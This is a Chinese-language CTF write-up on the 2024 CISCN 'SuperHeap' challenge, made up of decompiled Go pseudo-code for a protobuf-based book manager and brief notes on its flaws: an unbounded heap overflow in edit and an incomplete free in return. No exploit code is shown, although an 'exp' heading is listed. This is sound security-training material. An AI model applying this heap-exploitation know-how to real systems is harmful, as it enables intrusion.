2024 cicsn SuperHeap

文章目录

  • 参考
  • 沙箱
  • 存在protobuf
  • 逆向
    • buy_book
    • see_book
    • return_book
    • edit_book
    • search_book
  • 思路
  • exp

参考

https://hakuya.work/post/7
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap
https://blog.csdn.net/m0_63437215/article/details/127914567

沙箱

在这里插入图片描述

存在protobuf

工具提取

逆向

真难逆,通过字符串定位到相关函数,这里用来个map来int映射到函数,太难逆了,直接字符串定位算了

buy_book

// main.WEB5SF
// local variable allocation has failed, the output may be wrong!
__int64 __golang buy_book_(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&publishdata_ptr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  idx_string[0] = &RTYPE_string;
  idx_string[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)idx_string,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v79);
  idx = input_number(v11, v10, v12, 1, 1);
  if ( idx >= 0x1C || (v14 = book_chunk_array[idx]) != 0 )
  {
    Invalid[0] = &RTYPE_string;
    Invalid[1] = &off_2BBBD0;
    return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)Invalid, 1, 1, v14, v15, v16, v17, v80);
  }
  else
  {
    index = idx;
    Special_Data[0] = &RTYPE_string;
    Special_Data[1] = &off_2BBBE0;
    v19 = qword_41A3E8;
    v20 = fmt_Fprint(
            (unsigned int)io_write,
            qword_41A3E8,
            (unsigned int)Special_Data,
            1,
            1,
            (unsigned int)&off_2BBBE0,
            v15,
            v16,
            v17,
            v80);
    specail_data = (char *)read_choice(v20);
    specail_data_string.len = v19;
    specail_data_string.ptr = specail_data;
    v116 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, specail_data_string);// base32解码输入的
    if ( v116.1.tab )
    {
      Error_decoding[0] = &RTYPE_string;
      Error_decoding[1] = &Error__decoding;
      return fmt_Fprintln(
               (unsigned int)io_write,
               qword_41A3E8,
               (unsigned int)Error_decoding,
               1,
               1,
               v22,
               v23,
               v24,
               v25,
               v81);
    }
    else
    {
      ptr = (int)v116.0.ptr;
      cap = v116.0.cap;
      input_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
                                                       &RTYPE_mypackage_CTFBook,
                                                       v116.0.len,
                                                       v116.0.cap,
                                                       0,
                                                       (int)v116.1.data,
                                                       v22,
                                                       v23,
                                                       v24,
                                                       v25);
      if ( github_com_golang_protobuf_proto_Unmarshal(// 使用protobuf解码
             ptr,
             v116.0.len,
             cap,
             (unsigned int)off_2BD1C8,
             (_DWORD)input_mypackage_CTFBook,
             v26,
             v27,
             v28,
             v29,
             v81) )
      {
        v105[0] = &RTYPE_string;
        v105[1] = &Error__decoding;
        return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v105, 1, 1, v30, v31, v32, v33, v82);
      }
      else
      {
        v117 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Title);// 对title字段base64解码
        if ( v117.1.tab )
        {
          errordeocd[0] = &RTYPE_string;
          errordeocd[1] = &Error__decoding;
          return fmt_Fprintln(
                   (unsigned int)io_write,
                   qword_41A3E8,
                   (unsigned int)errordeocd,
                   1,
                   1,
                   v34,
                   v35,
                   v36,
                   v37,
                   v82);
        }
        else
        {
          title_len = v117.0.len;
          title_ptr = v117.0.ptr;
          v118 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Author);// 对author字段base64解码
          if ( v118.1.tab )
          {
            v114[0] = &RTYPE_string;
            v114[1] = &Error__decoding;
            return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v114, 1, 1, v38, v39, v40, v41, v82);
          }
          else
          {
            author_ptr = v118.0.ptr;
            author_len = v118.0.len;
            v119 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->Isbn);// 对isbn字段base64解码
            if ( v119.1.tab )
            {
              v113[0] = &RTYPE_string;
              v113[1] = &Error__decoding;
              return fmt_Fprintln(
                       (unsigned int)io_write,
                       qword_41A3E8,
                       (unsigned int)v113,
                       1,
                       1,
                       v42,
                       v43,
                       v44,
                       v45,
                       v82);
            }
            else
            {
              isbn_ptr = v119.0.ptr;
              isbn_len = v119.0.len;
              v120 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, input_mypackage_CTFBook->PublishDate);// 对publishdata解码base64
              if ( v120.1.tab )
              {
                v112[0] = &RTYPE_string;
                v112[1] = &Error__decoding;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v112,
                         1,
                         1,
                         v46,
                         v47,
                         v48,
                         v49,
                         v82);
              }
              else
              {
                publishdata_ptr = v120.0.ptr;
                main__cgo_cmalloc(
                  (__int64)v120.0.ptr,
                  v120.0.len,
                  v120.0.cap,
                  0,
                  (int)v120.1.data,
                  v46,
                  v47,
                  v48,
                  v49,
                  48,
                  v85);
                if ( malloc_for_book_struct_addr )// 由上面的main_cgo_cmalloc分配的
                {
                  book_struct = (_QWORD *)malloc_for_book_struct_addr;
                  main__cgo_cmalloc(
                    title_len,
                    v120.0.len,
                    title_len + 1,
                    0,
                    (int)v120.1.data,
                    v50,
                    v51,
                    v52,
                    v53,
                    title_len + 1,
                    malloc_for_book_struct_addr);
                  v58 = 0x40000000LL;
                  if ( title_len < 0x40000000 )
                    v58 = title_len;
                  v96 = v58;
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct;
                    runtime_gcWriteBarrier(malloc_title_ptr);
                  }
                  else
                  {
                    *book_struct = malloc_title_ptr;
                  }
                  main__cgo_cmalloc(
                    author_len,
                    v120.0.len,
                    author_len + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v54,
                    v55,
                    v56,
                    v57,
                    author_len + 1,
                    malloc_title_ptr);
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct + 8;
                    runtime_gcWriteBarrier(malloc_author_ptr_1);
                  }
                  else
                  {
                    book_struct[1] = malloc_author_ptr_1;
                  }
                  main__cgo_cmalloc(
                    isbn_len,
                    v120.0.len,
                    isbn_len + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v59,
                    v60,
                    v61,
                    v62,
                    isbn_len + 1,
                    malloc_author_ptr_1);
                  if ( dword_44AC30 )
                  {
                    LODWORD(v120.1.tab) = (_DWORD)book_struct + 16;
                    runtime_gcWriteBarrier(malloc_isbn_ptr);
                  }
                  else
                  {
                    book_struct[2] = malloc_isbn_ptr;
                  }
                  main__cgo_cmalloc(
                    v120.0.len,
                    v120.0.len,
                    LODWORD(v120.0.len) + 1,
                    (int)v120.1.tab,
                    (int)v120.1.data,
                    v63,
                    v64,
                    v65,
                    v66,
                    LOBYTE(v120.0.len) + 1,
                    malloc_isbn_ptr);
                  if ( dword_44AC30 )
                  {
                    runtime_gcWriteBarrier(malloc_publishdata_ptr);
                  }
                  else
                  {
                    book_struct_addr = book_struct;
                    book_struct[3] = malloc_publishdata_ptr;
                  }
                  if ( title_ptr != (uint8 *)*book_struct_addr )
                  {
                    runtime_memmove(*book_struct_addr, title_ptr, v96);
                    book_struct_addr = book_struct;
                  }
                  malloc_author_ptr = (uint8 *)book_struct_addr[1];
                  author_len_1 = 0x40000000LL;
                  if ( author_len < 0x40000000 )
                    author_len_1 = author_len;
                  if ( author_ptr != malloc_author_ptr )
                  {
                    runtime_memmove(malloc_author_ptr, author_ptr, author_len_1);
                    book_struct_addr = book_struct;
                  }
                  malloc_isbn_ptr_1 = (uint8 *)book_struct_addr[2];
                  isbn_len_1 = 0x40000000LL;
                  if ( isbn_len < 0x40000000 )
                    isbn_len_1 = isbn_len;
                  if ( isbn_ptr != malloc_isbn_ptr_1 )
                  {
                    runtime_memmove(malloc_isbn_ptr_1, isbn_ptr, isbn_len_1);
                    book_struct_addr = book_struct;
                  }
                  malloc_publish_ptr = (uint8 *)book_struct_addr[3];
                  malloc_publishdata_len = 0x40000000LL;
                  if ( (__int64)v120.0.len < 0x40000000 )
                    malloc_publishdata_len = v120.0.len;
                  if ( publishdata_ptr != malloc_publish_ptr )
                  {
                    runtime_memmove(malloc_publish_ptr, publishdata_ptr, malloc_publishdata_len);
                    book_struct_addr = book_struct;
                  }
                  input_mypackage_CTFBook_1 = input_mypackage_CTFBook;
                  book_struct_addr[4] = *(_QWORD *)&input_mypackage_CTFBook->Price;
                  book_struct_addr[5] = input_mypackage_CTFBook_1->Stock;
                  if ( dword_44AC30 )
                  {
                    runtime_gcWriteBarrierDX(&book_chunk_array[index], v120.1.data, book_struct_addr);
                  }
                  else
                  {
                    v77 = index;
                    v78 = book_chunk_array;
                    book_chunk_array[index] = book_struct_addr;// 最后赋值到数组中
                  }
                  add_success[0] = &RTYPE_string;
                  add_success[1] = &Book_added_successfully;
                  return fmt_Fprintln(
                           (unsigned int)io_write,
                           qword_41A3E8,
                           (unsigned int)add_success,
                           1,
                           1,
                           v77,
                           (_DWORD)v78,
                           v67,
                           v68,
                           v84);
                }
                else
                {
                  Failed_allocate_memory_Book[0] = &RTYPE_string;
                  Failed_allocate_memory_Book[1] = &off_2BBC00;
                  return fmt_Fprintln(
                           (unsigned int)io_write,
                           qword_41A3E8,
                           (unsigned int)Failed_allocate_memory_Book,
                           1,
                           1,
                           v50,
                           v51,
                           v52,
                           v53,
                           v83);
                }
              }
            }
          }
        }
      }
    }
  }
}

see_book

下次可以通过格式化字符串判断结构体的各个变量的类型

// main.CU5GMG
__int64 __golang see_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)Invalid_index <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v86[0] = &RTYPE_string;
  v86[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v86,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v69);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (v19 = (_QWORD *)book_chunk_array[index]) != 0LL )
  {
    book_struct_addr = (_QWORD *)book_chunk_array[index];
    v83 = runtime_gostring(*v19, v10, v14, 1, 1, v15, v16, v17, v18, v69);
    v79 = v10;
    v82 = runtime_gostring(book_struct_addr[1], v10, (_DWORD)book_struct_addr, 1, 1, v21, v22, v23, v24, v69);
    v78 = v10;
    v81 = runtime_gostring(book_struct_addr[2], v10, (_DWORD)book_struct_addr, 1, 1, v25, v26, v27, v28, v69);
    v77 = v10;
    v80 = runtime_gostring(book_struct_addr[3], v10, (_DWORD)book_struct_addr, 1, 1, v29, v30, v31, v32, v69);
    v76 = v10;
    v33 = &v69 + 16;
    v68 = &v88;
    ((void (__fastcall *)(__int64 *))loc_C278B)(v33);
    v39 = runtime_convTstring(v83, v79, v34, (_DWORD)v33, 1, v35, v36, v37, v38, v69, v70);
    v87[0] = (__int64)&RTYPE_string;
    v87[1] = v39;
    v44 = runtime_convTstring(v82, v78, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v40, v41, v42, v43, v69, v70);
    v87[2] = (__int64)&RTYPE_string;
    v87[3] = v44;
    v49 = runtime_convTstring(v81, v77, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v45, v46, v47, v48, v69, v70);
    v87[4] = (__int64)&RTYPE_string;
    v87[5] = v49;
    v50 = v76;
    v55 = runtime_convTstring(v80, v76, (unsigned int)&RTYPE_string, (_DWORD)v33, 1, v51, v52, v53, v54, v69, v70);
    v87[6] = (__int64)&RTYPE_string;
    v87[7] = v55;
    v60 = runtime_convT64(book_struct_addr[4], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v56, v57, v58, v59, v69);
    v87[8] = (__int64)&RTYPE_float64;
    v87[9] = v60;
    v65 = runtime_convT64(book_struct_addr[5], v50, (_DWORD)book_struct_addr, (_DWORD)v33, 1, v61, v62, v63, v64, v69);
    v87[10] = (__int64)&RTYPE_int;
    v87[11] = v65;                              // 前四个转换为字符串,后两个转换为整数
    return fmt_Fprintf(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)"Title: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nStock: %d",
             69,
             (unsigned int)v87,
             6,
             6,
             v66,
             v67,
             v69,
             v70,
             v71,
             v72,
             v73,
             v74,
             v75);
  }
  else
  {
    Invalid_index[0] = &RTYPE_string;
    Invalid_index[1] = &Invalid__index;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)Invalid_index,
             1,
             1,
             v15,
             v16,
             v17,
             v18,
             v69);
  }
}

return_book

// main.F3ZJ75
__int64 __golang return_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v48[0] = &RTYPE_string;
  v48[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v48,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v39);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (book_struct_addr_1 = (__int64 *)book_chunk_array[index]) != 0LL )
  {
    index_1 = index;
    book_struct_addr = book_chunk_array[index];
    main_F3ZJ75_func1(book_struct_addr_1, v10, v14, 1LL, 1, (int)book_struct_addr_1, v16, v17, v18);
    main_F3ZJ75_func2(book_struct_addr, v10, v20, 1, 1, v21, v22, v23, v24, v40);
    main_F3ZJ75_func3(book_struct_addr, v10, v25, 1, 1, v26, v27, v28, v29, v41);
    main_F3ZJ75_func4(book_struct_addr, v10, v30, 1, 1, v31, v32, v33, v34, v42);// 是对四个堆指针做检查然后free掉
    if ( dword_44AC30 )
    {
      runtime_gcWriteBarrierDX(&book_chunk_array[index_1], 1LL, 0LL);
    }
    else
    {
      v38 = book_chunk_array;
      book_chunk_array[index_1] = 0LL;          // 清零
    }
    Book_returne_suceess[0] = &RTYPE_string;
    Book_returne_suceess[1] = &::Book_returne_suceess;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)Book_returne_suceess,
             1,
             1,
             (_DWORD)v38,
             v35,
             v36,
             v37,
             v43);
  }
  else
  {
    v47[0] = &RTYPE_string;
    v47[1] = &Invalid__index;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)v47,
             1,
             1,
             (_DWORD)book_struct_addr_1,
             v16,
             v17,
             v18,
             v40);
  }
}

edit_book

// main.OMJP7W
// local variable allocation has failed, the output may be wrong!
__int64 __golang main_OMJP7W(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&author_ptr <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  v82[0] = &RTYPE_string;
  v82[1] = &index_string;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)v82,
          1,
          1,
          (unsigned int)&index_string,
          a7,
          a8,
          a9,
          v58);
  index = input_number(v11, v10, v12, 1, 1);
  if ( index < 0x1C && (v14 = book_chunk_array[index]) != 0 )
  {
    index_1 = index;
    Special_Data[0] = &RTYPE_string;
    Special_Data[1] = &Special__Data;
    v19 = qword_41A3E8;
    v20 = fmt_Fprint(
            (unsigned int)io_write,
            qword_41A3E8,
            (unsigned int)Special_Data,
            1,
            1,
            (unsigned int)&Special__Data,
            v15,
            v16,
            v17,
            v59);
    specail_data = (char *)input(v20);
    v84.len = v19;
    v84.ptr = specail_data;
    v85 = encoding_base32__ptr_Encoding_DecodeString(qword_41A120, v84);// base32解码
    if ( v85.1.tab )
    {
      v79[0] = &RTYPE_string;
      v79[1] = &Error__decoding;
      return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v79, 1, 1, v22, v23, v24, v25, v60);
    }
    else
    {
      ptr = (int)v85.0.ptr;
      cap = v85.0.cap;
      p_mypackage_CTFBook = (mypackage_CTFBook *)runtime_newobject(
                                                   &RTYPE_mypackage_CTFBook,
                                                   v85.0.len,
                                                   v85.0.cap,
                                                   0,
                                                   (int)v85.1.data,
                                                   v22,
                                                   v23,
                                                   v24,
                                                   v25);
      if ( github_com_golang_protobuf_proto_Unmarshal(// protobuf反序列化
             ptr,
             v85.0.len,
             cap,
             (unsigned int)off_2BD1C8,
             (_DWORD)p_mypackage_CTFBook,
             v26,
             v27,
             v28,
             v29,
             v60) )
      {
        v78[0] = &RTYPE_string;
        v78[1] = &Error__decoding;
        return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v78, 1, 1, v30, v31, v32, v33, v61);
      }
      else
      {
        v86 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Title);
        if ( v86.1.tab )
        {
          v77[0] = &RTYPE_string;
          v77[1] = &Error__decoding;
          return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v77, 1, 1, v34, v35, v36, v37, v61);
        }
        else
        {
          title_len = v86.0.len;
          title_ptr = v86.0.ptr;
          v87 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Author);
          if ( v87.1.tab )
          {
            v76[0] = &RTYPE_string;
            v76[1] = &Error__decoding;
            return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v76, 1, 1, v38, v39, v40, v41, v61);
          }
          else
          {
            author_len = v87.0.len;
            author_ptr = v87.0.ptr;
            v88 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->Isbn);
            if ( v88.1.tab )
            {
              v75[0] = &RTYPE_string;
              v75[1] = &Error__decoding;
              return fmt_Fprintln(
                       (unsigned int)io_write,
                       qword_41A3E8,
                       (unsigned int)v75,
                       1,
                       1,
                       v42,
                       v43,
                       v44,
                       v45,
                       v61);
            }
            else
            {
              isbn_len = v88.0.len;
              isbn_ptr = v88.0.ptr;
              v89 = encoding_base64__ptr_Encoding_DecodeString(qword_41A138, p_mypackage_CTFBook->PublishDate);
              if ( v89.1.tab )
              {
                v74[0] = &RTYPE_string;
                v74[1] = &Error__decoding;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v74,
                         1,
                         1,
                         v46,
                         v47,
                         v48,
                         v49,
                         v61);
              }
              else
              {
                publishdata_ptr = v89.0.ptr;
                book_struct_addr = (_QWORD *)book_chunk_array[index_1];
                book_struct_addr_1 = book_struct_addr;
                title_len_1 = 0x40000000LL;
                if ( title_len < 0x40000000 )
                  title_len_1 = title_len;
                if ( title_ptr != (uint8 *)*book_struct_addr )
                {
                  runtime_memmove(*book_struct_addr, title_ptr, title_len_1);// 根据输入的调整len,没有限制,以下都一样
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                author_len_1 = 0x40000000LL;
                if ( author_len < 0x40000000 )
                  author_len_1 = author_len;
                if ( author_ptr != (uint8 *)book_struct_addr[1] )
                {
                  runtime_memmove(book_struct_addr[1], author_ptr, author_len_1);
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                isbn_len_1 = 0x40000000LL;
                if ( isbn_len < 0x40000000 )
                  isbn_len_1 = isbn_len;
                v54 = (int)isbn_ptr;
                if ( isbn_ptr != (uint8 *)book_struct_addr[2] )
                {
                  runtime_memmove(book_struct_addr[2], isbn_ptr, isbn_len_1);
                  v89.0.ptr = publishdata_ptr;
                  book_struct_addr = book_struct_addr_1;
                }
                publishdata_len = 0x40000000LL;
                if ( (__int64)v89.0.len < 0x40000000 )
                  publishdata_len = v89.0.len;
                if ( v89.0.ptr != (uint8 *)book_struct_addr[3] )
                {
                  runtime_memmove(book_struct_addr[3], v89.0.ptr, publishdata_len);
                  book_struct_addr = book_struct_addr_1;
                }
                v56 = p_mypackage_CTFBook;
                book_struct_addr[4] = *(_QWORD *)&p_mypackage_CTFBook->Price;
                Stock = v56->Stock;
                book_struct_addr[5] = Stock;    // 最后两项没法溢出
                v83[0] = &RTYPE_string;
                v83[1] = &off_2BBC40;
                return fmt_Fprintln(
                         (unsigned int)io_write,
                         qword_41A3E8,
                         (unsigned int)v83,
                         1,
                         1,
                         Stock,
                         v54,
                         v48,
                         v49,
                         v61);
              }
            }
          }
        }
      }
    }
  }
  else
  {
    v81[0] = &RTYPE_string;
    v81[1] = &Invalid__index;
    return fmt_Fprintln((unsigned int)io_write, qword_41A3E8, (unsigned int)v81, 1, 1, v14, v15, v16, v17, v59);
  }
}

search_book

// main.NSKGUW
__int64 __golang search_book(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        int a7,
        int a8,
        int a9)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  while ( (unsigned __int64)&v156 <= *(_QWORD *)(v9 + 16) )
    a1 = runtime_morestack_noctxt(a1);
  Keyword__[0] = &RTYPE_string;
  Keyword__[1] = &Keyword_;
  v10 = qword_41A3E8;
  v11 = fmt_Fprint(
          (unsigned int)io_write,
          qword_41A3E8,
          (unsigned int)Keyword__,
          1,
          1,
          (unsigned int)&Keyword_,
          a7,
          a8,
          a9,
          *(__int64 *)v124);
  keyword = input(v11);
  len = v10;                                    // v10可能存储input后输入的长度
  v12 = book_chunk_array_copy;
  com_success = book_chunk_array;
  result = ((__int64 (__fastcall *)(__int64 *, _QWORD *))copy_array)(book_chunk_array_copy, book_chunk_array);// 这个是把将一个数组的数据赋值到另一个数组的数据的
  index = 0LL;
  is_have = 0;
  while ( index < 28 )
  {
    index_1 = index;
    v149 = is_have;
    book_chunk_addr = (_QWORD *)book_chunk_array_copy[index];
    book_chunk_addr_1 = book_chunk_addr;
    if ( book_chunk_addr )
    {
      v21 = runtime_gostring(
              *book_chunk_addr,
              v10,
              index,
              (_DWORD)v12,
              (_DWORD)com_success,
              (_DWORD)book_chunk_addr,
              v16,
              v17,
              v18,
              *(__int64 *)v124);
      if ( len == v10 )                         // v10存储提取到的字符串长度
      {
        len_1 = v10;
        v10 = keyword;
        first_com_flag = runtime_memequal(v21, keyword, len_1);// 比较的
      }
      else
      {
        first_com_flag = 0;
      }
      if ( first_com_flag )                     // 比较成功,没必要比较第二个
      {
        second_flag = 1;
      }
      else
      {
        v26 = runtime_gostring(
                book_chunk_addr_1[1],
                v10,
                (_DWORD)book_chunk_addr_1,
                (_DWORD)v12,
                (_DWORD)com_success,
                v22,
                v16,
                v17,
                v18,
                *(__int64 *)v124);
        if ( len == v10 )
        {
          v27 = v10;
          v10 = keyword;
          second_flag = runtime_memequal(v26, keyword, v27);
        }
        else
        {
          second_flag = 0;
        }
      }
      if ( second_flag )                        // 比较成功,没必要比较第三个
      {
        third_flag = 1;
      }
      else
      {
        v29 = runtime_gostring(
                book_chunk_addr_1[2],
                v10,
                (_DWORD)book_chunk_addr_1,
                (_DWORD)v12,
                (_DWORD)com_success,
                v22,
                v16,
                v17,
                v18,
                *(__int64 *)v124);
        if ( v10 == len )
          third_flag = runtime_memequal(v29, keyword, v10);
        else
          third_flag = 0;
      }
      index = index_1;
      is_have = v149;
      v10 = len;
      book_chunk_addr = book_chunk_addr_1;
      LODWORD(com_success) = third_flag;
      result = keyword;
    }
    else
    {
      LODWORD(com_success) = 0;
    }
    if ( (_BYTE)com_success )                   // 比较成功,输出
    {
      v30 = runtime_gostring(
              *book_chunk_addr,
              v10,
              index,
              (_DWORD)v12,
              (_DWORD)com_success,
              (_DWORD)book_chunk_addr,
              v16,
              v17,
              v18,
              *(__int64 *)v124);
      v31 = v10;
      v32 = v30;
      v35 = runtime_stringtoslicebyte((unsigned int)&v159, v30, v31, (_DWORD)v12, (_DWORD)com_success, v33, v34);
      v162 = main_IDJS3Z(v35, v32, v36, (int)v12, (int)com_success, v37, v38, v39, v40, *(_slice_uint8 *)v124);
      v152 = v32;
      v45 = runtime_gostring(
              book_chunk_addr_1[1],
              v32,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v41,
              v42,
              v43,
              v44,
              v125);
      v46 = v32;
      v47 = v45;
      v50 = runtime_stringtoslicebyte((unsigned int)&v158, v45, v46, (_DWORD)v12, (_DWORD)com_success, v48, v49);
      v165 = main_IDJS3Z(v50, v47, v51, (int)v12, (int)com_success, v52, v53, v54, v55, v126);
      v154 = v47;
      v60 = runtime_gostring(
              book_chunk_addr_1[2],
              v47,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v56,
              v57,
              v58,
              v59,
              v127);
      v61 = v47;
      v62 = v60;
      v65 = runtime_stringtoslicebyte((unsigned int)&v157, v60, v61, (_DWORD)v12, (_DWORD)com_success, v63, v64);
      v164 = main_IDJS3Z(v65, v62, v66, (int)v12, (int)com_success, v67, v68, v69, v70, v128);
      v153 = v62;
      v75 = runtime_gostring(
              book_chunk_addr_1[3],
              v62,
              (_DWORD)book_chunk_addr_1,
              (_DWORD)v12,
              (_DWORD)com_success,
              v71,
              v72,
              v73,
              v74,
              v129);
      v76 = v62;
      v77 = v75;
      v80 = runtime_stringtoslicebyte((unsigned int)&v155, v75, v76, (_DWORD)v12, (_DWORD)com_success, v78, v79);
      v163 = main_IDJS3Z(v80, v77, v81, (int)v12, (int)com_success, v82, v83, v84, v85, v130);
      ((void (__fastcall *)(_QWORD *))loc_C2786)(Keyword__);
      v91 = runtime_convT64(index_1, v77, v86, (unsigned int)Keyword__, (_DWORD)com_success, v87, v88, v89, v90, v131);
      v168[0] = (__int64)&RTYPE_int;
      v168[1] = v91;
      v96 = runtime_convTstring(
              v162,
              v152,
              (unsigned int)&RTYPE_int,
              (unsigned int)Keyword__,
              (_DWORD)com_success,
              v92,
              v93,
              v94,
              v95,
              v132,
              v139);
      v168[2] = (__int64)&RTYPE_string;
      v168[3] = v96;
      v101 = runtime_convTstring(
               v165,
               v154,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v97,
               v98,
               v99,
               v100,
               v133,
               v140);
      v168[4] = (__int64)&RTYPE_string;
      v168[5] = v101;
      v106 = runtime_convTstring(
               v164,
               v153,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v102,
               v103,
               v104,
               v105,
               v134,
               v141);
      v168[6] = (__int64)&RTYPE_string;
      v168[7] = v106;
      v111 = runtime_convTstring(
               v163,
               v77,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v107,
               v108,
               v109,
               v110,
               v135,
               v142);
      v168[8] = (__int64)&RTYPE_string;
      v168[9] = v111;
      v116 = runtime_convT64(
               book_chunk_addr_1[4],
               v77,
               (unsigned int)&RTYPE_string,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v112,
               v113,
               v114,
               v115,
               v136);
      v168[10] = (__int64)&RTYPE_float64;
      v168[11] = v116;
      v121 = runtime_convT64(
               book_chunk_addr_1[5],
               v77,
               (unsigned int)&RTYPE_float64,
               (unsigned int)Keyword__,
               (_DWORD)com_success,
               v117,
               v118,
               v119,
               v120,
               v137);
      v168[12] = (__int64)&RTYPE_int;
      v168[13] = v121;
      LODWORD(v12) = 79;
      fmt_Fprintf(
        (unsigned int)io_write,
        qword_41A3E8,
        (unsigned int)"Index: %d\nTitle: %s\nAuthor: %s\nISBN: %s\nPublish Date: %s\nPrice: %.2f\nSt",
        79,
        (unsigned int)v168,
        7,
        7,
        v122,
        v123,
        v138,
        v143,
        v144,
        v145,
        v146,
        v147,
        v148);
      result = keyword;
      index = index_1;
      is_have = v149;
      v10 = len;
      LODWORD(com_success) = (unsigned __int8)com_success;
    }
    ++index;
    is_have |= (unsigned __int8)com_success;
  }
  if ( !is_have )                               // 没有匹配的
  {
    No_matching_books_[0] = &RTYPE_string;
    No_matching_books_[1] = &No_matching_books;
    return fmt_Fprintln(
             (unsigned int)io_write,
             qword_41A3E8,
             (unsigned int)No_matching_books_,
             1,
             1,
             (_DWORD)book_chunk_addr,
             v16,
             v17,
             v18,
             *(__int64 *)v124);
  }
  return result;
}

思路

edit存在任意长度溢出,每次add会分配多个chunk(应该是6个 4个是内部数据 1个当做接受输入的special数据 一个当做book结构体地址 但调试时候断点malloc只有5个,不知道为什么,可能是那个函数不同,可能并不是分配的)
delete会将四个堆指针free掉,然后book_chunk_array对应位置清零,但不会free掉book_chunk

